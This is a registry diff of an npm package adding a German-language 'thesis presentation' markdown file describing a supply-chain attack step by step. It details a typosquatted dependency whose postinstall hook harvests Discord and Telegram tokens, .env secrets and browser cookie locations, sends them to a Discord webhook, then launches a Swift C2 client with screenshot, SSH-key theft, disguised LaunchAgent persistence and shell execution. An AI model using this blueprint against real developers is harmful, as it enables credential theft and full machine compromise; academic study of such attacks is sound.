mailcheckertestpoc 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,594 @@
1
+ # 📊 Complete Attack Flow - Theoretical Presentation
2
+
3
+ ## Für deine Thesis-Präsentation: "So würde es funktionieren"
4
+
5
+ ---
6
+
7
+ ## 🎯 SZENARIO: Opfer führt aus
8
+
9
+ ```bash
10
+ $ cd victim-app
11
+ $ npm install
12
+ ```
13
+
14
+ **Was der Opfer sieht:** Normale npm Installation
15
+ **Was im Hintergrund passiert:** Zweigleisiger Supply-Chain-Angriff
16
+
17
+ ---
18
+
19
+ ## ⏱️ ZEITSTRAHL: Was würde passieren
20
+
21
+ ### **T+0s: Benutzer führt `npm install` aus**
22
+
23
+ ```
24
+ $ npm install
25
+
26
+ added 1 package from file:../malicious-pkg in 0.5s
27
+ ```
28
+
29
+ Der Angreifer hat die `lodahs` dependency in `package.json`:
30
+ ```json
31
+ {
32
+ "dependencies": {
33
+ "lodahs": "file:../malicious-pkg"
34
+ }
35
+ }
36
+ ```
37
+
38
+ ✅ **postinstall hook triggert** → `node scripts/collect.js`
39
+
40
+ ---
41
+
42
+ ### **T+0.5s: PHASE 1 STARTET - Daten-Collection**
43
+
44
+ ```bash
45
+ [THESIS POC] System information collection started...
46
+ ```
47
+
48
+ #### **Schritt 1a: System-Info sammeln**
49
+
50
+ ```javascript
51
+ // Was collect.js macht:
52
+ const info = {
53
+ hostname: "victim-mac.local",
54
+ user: "alex_mueller",
55
+ platform: "darwin",
56
+ arch: "arm64",
57
+ nodeVersion: "v18.16.0",
58
+ cwd: "/Users/alex_mueller/victim-app",
59
+ ip: "192.168.1.45" // über curl https://api.ipify.org
60
+ };
61
+
62
+ Log: ✓ Hostname: victim-mac.local
63
+ Log: ✓ User: alex_mueller
64
+ Log: ✓ IP: 192.168.1.45
65
+ ```
66
+
67
+ **Dauer:** ~100ms (parallel curl für IP)
68
+
69
+ ---
70
+
71
+ #### **Schritt 1b: Discord-Token scannen**
72
+
73
+ ```javascript
74
+ // Sucht an bekannten Orten:
75
+
76
+ // 1. Fake-Datei (für Demo)
77
+ const staged = fs.readFileSync("~/.discord_token_staged")
78
+ // Gefunden: "MTA1MzkyNzQ1OTI0MjU2MjU2.GxB_kL.abc123xyz"
79
+
80
+ // 2. Echter Discord Location (würde auch funktionieren)
81
+ // ~/Library/Application Support/discord/Local Storage/leveldb
82
+ // → Liest .log Dateien mit Token-Pattern
83
+ // → Extrahiert Discord Token via Regex
84
+
85
+ Log: ✓ Discord Token source: staged_file
86
+ Log: ✓ Token (first 60 chars): MTA1MzkyNzQ1OTI0MjU2MjU2.GxB_kL.ab...
87
+ ```
88
+
89
+ **Dauer:** ~50ms (Filesystem Reads)
90
+
91
+ ---
92
+
93
+ #### **Schritt 1c: Telegram-Session auslesen**
94
+
95
+ ```javascript
96
+ // ~/.telegram_session_staged
97
+ const telegram = fs.readFileSync("~/.telegram_session_staged")
98
+ // Gefunden: "1234567890:ABCDef_ghijKLmnopQRstUVWXYZ123456"
99
+
100
+ Log: ✓ Telegram Session: 1234567890:ABCDef_ghijK...
101
+ ```
102
+
103
+ **Dauer:** ~20ms
104
+
105
+ ---
106
+
107
+ #### **Schritt 1d: .env-Secrets scannen**
108
+
109
+ ```javascript
110
+ // Sucht in mehreren Dateien:
111
+ // 1. ~/.env_staged
112
+ // 2. ./process.cwd()/.env
113
+ // 3. ./process.cwd()/../.env
114
+
115
+ // Findet Patterns:
116
+ const secrets = {
117
+ discord_token: "MTA...",
118
+ telegram_api_id: "123456789",
119
+ telegram_api_hash: "a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6",
120
+ aws_key_id: "AKIAIOSFODNN7EXAMPLE",
121
+ aws_secret: "wJalrXUtnFEMI/K7MDENG+bPxRfiCYEXAMPLEKEY",
122
+ stripe_key: "sk_live_4eC39HqLyjWDarhuO1ZWwO50"
123
+ };
124
+
125
+ Log: ✓ Found AWS_ACCESS_KEY_ID
126
+ Log: ✓ Found STRIPE_SECRET_KEY
127
+ Log: ✓ Found TELEGRAM_API_*
128
+ ```
129
+
130
+ **Dauer:** ~100ms (3 Datei-Reads + Regex Matching)
131
+
132
+ ---
133
+
134
+ #### **Schritt 1e: Browser-Cookies enumerieren**
135
+
136
+ ```javascript
137
+ // Sucht Chrome/Chromium Cookie-Datenbanken:
138
+ // ~/Library/Application Support/Google/Chrome/Default/Cookies
139
+ // ~/Library/Application Support/Chromium/Default/Cookies
140
+ // ~/Library/Application Support/BraveSoftware/Brave-Browser/Default/Cookies
141
+
142
+ // Dateien existieren:
143
+ const stats = fs.statSync(chromePath);
144
+
145
+ Log: ✓ Chrome Cookies found: /Users/.../Chrome/Default/Cookies
146
+ Log: ✓ Size: 1.2MB
147
+ Log: ✓ SQLite DB - würde diese Query ausführen:
148
+ SELECT host_key, name, value FROM cookies
149
+ WHERE host_key LIKE '%.discord.com%'
150
+ OR host_key LIKE '%.telegram.org%'
151
+ ```
152
+
153
+ **Dauer:** ~30ms (Stat calls)
154
+
155
+ ---
156
+
157
+ ### **T+2s: PHASE 1 DATEN-PACKAGE ZUSAMMENSTELLEN**
158
+
159
+ ```javascript
160
+ const payload = {
161
+ system: {
162
+ hostname: "victim-mac.local",
163
+ user: "alex_mueller",
164
+ ip: "192.168.1.45",
165
+ // ... alle gesammelten Daten
166
+ },
167
+ discord: {
168
+ source: "staged_file",
169
+ token: "MTA1Mz..."
170
+ },
171
+ telegram: "1234567890:ABCDef...",
172
+ env: {
173
+ aws_key_id: "AKIA...",
174
+ stripe_key: "sk_live..."
175
+ },
176
+ cookies: {
177
+ path: "~/Library/Application Support/Google/Chrome/Default/Cookies",
178
+ size_bytes: 1257472
179
+ }
180
+ };
181
+ ```
182
+
183
+ **Format:** Discord Embed mit allen Feldern
184
+
185
+ ---
186
+
187
+ ### **T+2.5s: DISCORD WEBHOOK SENDEN**
188
+
189
+ ```
190
+ POST https://discord.com/api/webhooks/1234567890/abcdefg_hijklmnop
191
+ Content-Type: application/json
192
+
193
+ {
194
+ "embeds": [{
195
+ "title": "SUPPLY CHAIN POC — Neue Victim",
196
+ "description": "Paket `lodahs@1.0.0` installiert auf `victim-mac.local`",
197
+ "color": 16744452, // Rot
198
+ "fields": [
199
+ {
200
+ "name": "System",
201
+ "value": "**Host:** victim-mac.local\n**User:** alex_mueller\n**IP:** 192.168.1.45"
202
+ },
203
+ {
204
+ "name": "Discord Token",
205
+ "value": "**Source:** staged_file\n```MTA1Mz...```"
206
+ },
207
+ // ... weitere Credentials
208
+ ],
209
+ "timestamp": "2026-04-18T14:30:45.123Z"
210
+ }]
211
+ }
212
+ ```
213
+
214
+ **Response:** HTTP 204 No Content (Success)
215
+
216
+ Log:
217
+ ```
218
+ ✓ Data sent to Discord webhook
219
+ ✓ Phase 1 (Data Collection) complete - EXFILTRATION SUCCESSFUL
220
+ ```
221
+
222
+ **Dauer:** ~500ms (HTTPS request + SSL handshake)
223
+
224
+ ---
225
+
226
+ ## 🚀 T+3s: PHASE 2 WÜRDE STARTEN (Wenn nicht kommentiert)
227
+
228
+ ```javascript
229
+ // In collect.js:
230
+ // require("./launcher.js"); // <- KOMMENTIERT, würde aber hier aufrufen
231
+
232
+ console.log("[THESIS POC] Phase 2 (C2-Launcher) wird initialisiert...");
233
+ ```
234
+
235
+ ### **Schritt 2a: MacShellSwift Launcher startet**
236
+
237
+ ```bash
238
+ [launcher.js] 🔴 === THESIS POC: MacShellSwift Launcher Started ===
239
+ [launcher.js] Platform: darwin
240
+ [launcher.js] User: alex_mueller
241
+ [launcher.js] ✓ MacShellSwift Binary gefunden: ~/Desktop/MacShellSwift/.build/debug/MacShellSwift
242
+ ```
243
+
244
+ **Was launcher.js macht:**
245
+ - Verifiziert MacShellSwift existiert ✓
246
+ - Erstellt Konfiguration in `~/.supply-chain-poc/macshell-config.json`
247
+ - Ruft server-launcher auf (KOMMENTIERT)
248
+ - Ruft swift-client-launcher auf (KOMMENTIERT)
249
+
250
+ ---
251
+
252
+ ### **Schritt 2b: Python C2-Server würde starten (Kommentiert)**
253
+
254
+ ```bash
255
+ # server-launcher.js würde aufgerufen werden:
256
+
257
+ [server-launcher.js] ✓ Python Server gefunden: ~/Desktop/MacShellSwift/MacShellSwift/swiftshell-server.py
258
+ [server-launcher.js] ✓ Python verfügbar: Python 3.11.0
259
+ [server-launcher.js] ✓ SSL Certificate: ca.pem
260
+ [server-launcher.js] ✓ SSL Private Key: ca.key
261
+
262
+ # Würde dann spawn()en:
263
+ python3 ~/Desktop/MacShellSwift/MacShellSwift/swiftshell-server.py
264
+
265
+ # Server Output:
266
+ <------------------------------------------------------------------->
267
+ * __ _ __ _ __ _ _ _ *
268
+ * / _\ _ _(_)/ _| |_/ _\ |__ ___| | | *
269
+ * \ \ \ \ /\ / / | |_| __\ \| '_ \ / _ \ | | *
270
+ * _\ \ \ V V /| | _| |__\ \ | | | __/ | | | *
271
+ * \__/ \_/\_/ |_|_| \__\__/_| |_|\___|_|_| *
272
+ * *
273
+ * OSX Post Exploitation Tool (client written in Swift) *
274
+ * author: @cedowens *
275
+ <------------------------------------------------------------------->
276
+
277
+ [+] Server listening on 127.0.0.1:443
278
+ [+] SSL enabled (RSA 2048-bit)
279
+ [+] Awaiting client connection...
280
+ ```
281
+
282
+ **Server Status:** Running und wartet auf Clients
283
+ **Dauer bis ready:** ~100ms
284
+
285
+ ---
286
+
287
+ ### **Schritt 2c: Swift Client würde kompiliert werden (Kommentiert)**
288
+
289
+ ```bash
290
+ # swift-client-launcher.js würde aufgerufen werden:
291
+
292
+ [swift-client-launcher.js] ✓ Swift verfügbar: Apple Swift version 5.9.0
293
+ [swift-client-launcher.js] ✓ main.swift gefunden
294
+
295
+ # Würde Swift Build starten:
296
+ $ swift build -C ~/Desktop/MacShellSwift/MacShellSwift
297
+
298
+ Building for debugging...
299
+ [1/5] Fetching socket
300
+ [2/5] Fetching sslservice
301
+ [3/5] Compiling Socket Socket.swift
302
+ [4/5] Compiling SSLService SSLService.swift
303
+ [5/5] Compiling MacShellSwift main.swift
304
+ Build complete! (2.3s)
305
+
306
+ [swift-client-launcher.js] ✓ Binary output: .build/debug/MacShellSwift
307
+ [swift-client-launcher.js] ✓ Binary size: 523KB
308
+ [swift-client-launcher.js] ✓ Ready to launch
309
+ ```
310
+
311
+ **Dauer:** ~2-3 Sekunden (Swift compilation)
312
+
313
+ ---
314
+
315
+ ### **Schritt 2d: Swift Client würde launchen (Kommentiert)**
316
+
317
+ ```bash
318
+ # Binärdatei starten:
319
+ $ ./.build/debug/MacShellSwift
320
+
321
+ # Client verbindet zu C2 Server:
322
+ [Client] Initializing SSL connection...
323
+ [Client] Connecting to 127.0.0.1:443
324
+ [Client] Sending canary: SwiftShellR0ckZ!
325
+ [Client] ✓ Connection established
326
+ [Client] ✓ SSL handshake complete
327
+ [Client] Awaiting commands...
328
+ ```
329
+
330
+ ---
331
+
332
+ ## 🎮 T+6s: PHASE 3 - C2 KOMMUNIKATION (Wenn aktiviert)
333
+
334
+ ### **Server empfängt Client-Verbindung**
335
+
336
+ ```
337
+ [SERVER] [SESSION 1]: Connection received from 127.0.0.1:58234
338
+ [SERVER] [SESSION 1: 127.0.0.1]>>>
339
+ ```
340
+
341
+ **Operatör (Angreifer) gibt Command:**
342
+
343
+ ```
344
+ [SERVER] [SESSION 1: 127.0.0.1]>>> help
345
+ ---------------------------------------------------------------------------
346
+ Help menu:
347
+
348
+ COMMANDS:
349
+ > systeminfo : Return useful system information: IS OPSEC SAFE
350
+ > whoami : Show current user identity: IS OPSEC SAFE
351
+ > pwd : Show working directory: IS OPSEC SAFE
352
+ > cd [directory] : Change directory: IS OPSEC SAFE
353
+ > listdir : List files and directories: IS OPSEC SAFE
354
+ > download [file] : Download files: IS OPSEC SAFE
355
+ > screenshot : Capture screen: IS OPSEC SAFE
356
+ > prompt : Fake Keychain prompt: NOT OPSEC SAFE
357
+ > persist : Install persistence: NOT OPSEC SAFE
358
+ > shell [cmd] : Execute shell command: NOT OPSEC SAFE
359
+ > exit : Exit session
360
+ ---------------------------------------------------------------------------
361
+ ```
362
+
363
+ ---
364
+
365
+ ### **Beispiel: Angreifer führt `systeminfo` aus**
366
+
367
+ ```
368
+ [SERVER] [SESSION 1: 127.0.0.1]>>> systeminfo
369
+
370
+ [CLIENT] Executing: systeminfo
371
+ [CLIENT] Collecting system information...
372
+
373
+ Hostname: victim-mac.local
374
+ OS Version: macOS 13.6 (22G120)
375
+ Kernel Version: Darwin 22.6.0
376
+ Architecture: arm64
377
+ Memory: 16GB
378
+ CPU: Apple M1 Pro
379
+ Uptime: 234 days
380
+ ```
381
+
382
+ ---
383
+
384
+ ### **Beispiel: Screenshot download**
385
+
386
+ ```
387
+ [SERVER] [SESSION 1: 127.0.0.1]>>> screenshot
388
+
389
+ [CLIENT] Capturing screenshot...
390
+ [CLIENT] Screenshot 1/1: 3.2MB JPEG captured
391
+ [CLIENT] Sending to server...
392
+
393
+ [SERVER] ✓ Screenshot received (3.2MB)
394
+ [SERVER] Saved to: ./screenshots/victim-mac_2026-04-18_143050.jpg
395
+ ```
396
+
397
+ ---
398
+
399
+ ### **Beispiel: File download (Exfiltration)**
400
+
401
+ ```
402
+ [SERVER] [SESSION 1: 127.0.0.1]>>> download ~/.ssh/id_rsa
403
+
404
+ [CLIENT] Attempting to download: ~/.ssh/id_rsa
405
+ [CLIENT] ✓ File found (4.2KB)
406
+ [CLIENT] Sending...
407
+
408
+ [SERVER] ✓ File received (4.2KB)
409
+ [SERVER] Saved to: ./downloads/id_rsa
410
+
411
+ # Angreifer hat jetzt SSH-Key des Opfers
412
+ ```
413
+
414
+ ---
415
+
416
+ ### **Beispiel: Persistence Installation**
417
+
418
+ ```
419
+ [SERVER] [SESSION 1: 127.0.0.1]>>> persist
420
+
421
+ [CLIENT] Installing persistence...
422
+ [CLIENT] Creating LaunchAgent plist...
423
+ [CLIENT] Writing: ~/Library/LaunchAgents/com.apple.updater.plist
424
+ [CLIENT] Loading with launchctl...
425
+ [CLIENT] ✓ Persistence installed
426
+
427
+ # Nächster Boot: MacShellSwift startet automatisch
428
+ ```
429
+
430
+ ---
431
+
432
+ ### **Beispiel: Shell command execution**
433
+
434
+ ```
435
+ [SERVER] [SESSION 1: 127.0.0.1]>>> shell cat ~/.bash_history | grep password
436
+
437
+ [CLIENT] Executing: cat ~/.bash_history | grep password
438
+
439
+ # Bash history mit Passwords/Tokens:
440
+ export AWS_KEY=AKIA...
441
+ ssh -i ~/.ssh/key user@internal.company.com
442
+ mysql -u admin -p'MyPassword123' production_db
443
+ ```
444
+
445
+ ---
446
+
447
+ ## 📁 DATEIEN DIE GENERIERT WERDEN
448
+
449
+ ### **Nach Phase 1 (immer)**
450
+
451
+ ```
452
+ ~/.supply-chain-poc/
453
+ ├── macshell-launcher.log
454
+ │ └─ [2026-04-18 14:30:00.123] ✓ Configuration geschrieben
455
+ │ └─ [2026-04-18 14:30:00.200] ✓ Launcher-Phase abgeschlossen
456
+
457
+ ├── STATUS.md
458
+ │ ├─ Phase 1: COMPLETED ✓
459
+ │ ├─ Phase 2: DEACTIVATED (code present)
460
+ │ └─ Phase 3: DEACTIVATED (code present)
461
+ ```
462
+
463
+ ### **Nach Phase 2 (wenn aktiviert)**
464
+
465
+ ```
466
+ ~/.supply-chain-poc/
467
+ ├── c2-server.log
468
+ │ └─ [2026-04-18 14:30:05.100] Server listening on 127.0.0.1:443
469
+ │ └─ [2026-04-18 14:30:05.200] SSL enabled
470
+ │ └─ [2026-04-18 14:30:05.300] Awaiting client connection...
471
+
472
+ ├── swift-client.log
473
+ │ └─ [2026-04-18 14:30:07.100] Swift compilation successful
474
+ │ └─ [2026-04-18 14:30:07.200] Binary: .build/debug/MacShellSwift (523KB)
475
+ │ └─ [2026-04-18 14:30:07.300] Launching client...
476
+
477
+ ├── c2-server-config.json
478
+ │ {
479
+ │ "c2_parameters": {
480
+ │ "bind_host": "127.0.0.1",
481
+ │ "bind_port": 443,
482
+ │ "ssl_cert": "~/Desktop/MacShellSwift/MacShellSwift/ca.pem",
483
+ │ "ssl_key": "~/Desktop/MacShellSwift/MacShellSwift/ca.key"
484
+ │ }
485
+ │ }
486
+
487
+ └── swift-client-config.json
488
+ {
489
+ "c2_host": "127.0.0.1",
490
+ "c2_port": 443,
491
+ "canary": "SwiftShellR0ckZ!"
492
+ }
493
+ ```
494
+
495
+ ### **Nach Phase 3 (wenn aktiviert)**
496
+
497
+ ```
498
+ ~/.supply-chain-poc/
499
+ ├── c2-server.log
500
+ │ ├─ [14:30:09] [SESSION 1]: Connection received from 127.0.0.1:58234
501
+ │ ├─ [14:30:10] [SESSION 1]>>> systeminfo
502
+ │ ├─ [14:30:11] ✓ Hostname: victim-mac.local
503
+ │ ├─ [14:30:15] [SESSION 1]>>> screenshot
504
+ │ ├─ [14:30:16] ✓ Screenshot received (3.2MB)
505
+ │ └─ [14:30:20] [SESSION 1]>>> exit
506
+
507
+ ├── ./screenshots/
508
+ │ └─ victim-mac_2026-04-18_143015.jpg (3.2MB)
509
+
510
+ ├── ./downloads/
511
+ │ ├─ id_rsa (4.2KB)
512
+ │ ├─ .bash_history (12KB)
513
+ │ └─ credentials.txt (856B)
514
+ ```
515
+
516
+ ---
517
+
518
+ ## 📊 TIMELINE ZUSAMMENGEFASST
519
+
520
+ ```
521
+ T+0.0s npm install triggert postinstall
522
+ T+0.5s Phase 1 startet (collect.js)
523
+ T+0.6s System info + Discord token gescannt
524
+ T+1.0s Telegram session + .env secrets gescannt
525
+ T+1.1s Browser cookies enumeriiert
526
+ T+2.0s Daten-Package gebaut
527
+ T+2.5s Discord Webhook versendet ✓ PHASE 1 COMPLETE
528
+ └─ Angreifer erhält: Creds, IPs, Secrets
529
+
530
+ T+3.0s Phase 2 würde starten (Wenn kommentare entfernt)
531
+
532
+ ├─ T+3.1s: launcher.js
533
+ ├─ T+3.2s: server-launcher.js
534
+ │ └─ Python Server startet auf 127.0.0.1:443
535
+
536
+ ├─ T+3.3s: swift-client-launcher.js
537
+ │ └─ Swift Build startet (2-3 Sekunden)
538
+
539
+ └─ T+5.5s: Swift Binary startet
540
+ └─ Client verbindet zu Server
541
+
542
+ T+6.0s Phase 3 ACTIVE: C2 Kommunikation
543
+
544
+ ├─ Angreifer gibt Commands
545
+ ├─ Client führt aus
546
+ ├─ Ergebnisse zurück an Angreifer
547
+ └─ FULL COMPROMISE - Persistenz möglich
548
+ ```
549
+
550
+ ---
551
+
552
+ ## 🎓 FÜR DEINE PRÄSENTATION
553
+
554
+ ### Was du zeigst:
555
+
556
+ ```bash
557
+ # 1. Der Code
558
+ cat scripts/collect.js # Phase 1 (aktiv)
559
+ cat scripts/launcher.js # Phase 2 (kommentiert)
560
+ cat scripts/server-launcher.js # Phase 2 Detail (kommentiert)
561
+ cat scripts/swift-client-launcher.js # Phase 3 Detail (kommentiert)
562
+
563
+ # 2. Die Logs (nach npm install)
564
+ cat ~/.supply-chain-poc/STATUS.md # Zeigt was funktioniert
565
+ cat ~/.supply-chain-poc/macshell-launcher.log # Zeigt jeden Schritt
566
+
567
+ # 3. Die Konfiguration (vorbereitet)
568
+ cat ~/.supply-chain-poc/macshell-config.json # C2 Parameter
569
+ cat ~/.supply-chain-poc/c2-server-config.json # Server Config
570
+ cat ~/.supply-chain-poc/swift-client-config.json # Client Config
571
+ ```
572
+
573
+ ### Was du sagst:
574
+
575
+ ```
576
+ "Phase 1 funktioniert bereits - ihr seht hier die Logs.
577
+
578
+ Phase 2 und 3 sind im Code vorhanden und würden funktionieren,
579
+ wenn die Uncomments entfernt wären. Sie sind absichtlich deaktiviert
580
+ um Sicherheit in der Thesis zu gewährleisten.
581
+
582
+ Aber die Architektur ist komplett:
583
+ - Daten-Exfiltration (Discord webhook)
584
+ - C2 Server (Python, 127.0.0.1:443)
585
+ - C2 Client (Swift binary, verschlüsselt)
586
+ - Remote command execution
587
+ - Persistence via LaunchAgent
588
+
589
+ Das demonstriert den kompletten Supply Chain Attack Flow."
590
+ ```
591
+
592
+ ---
593
+
594
+ **Das ist was theoretisch passiert – ohne etwas wirklich auszuführen.** ✓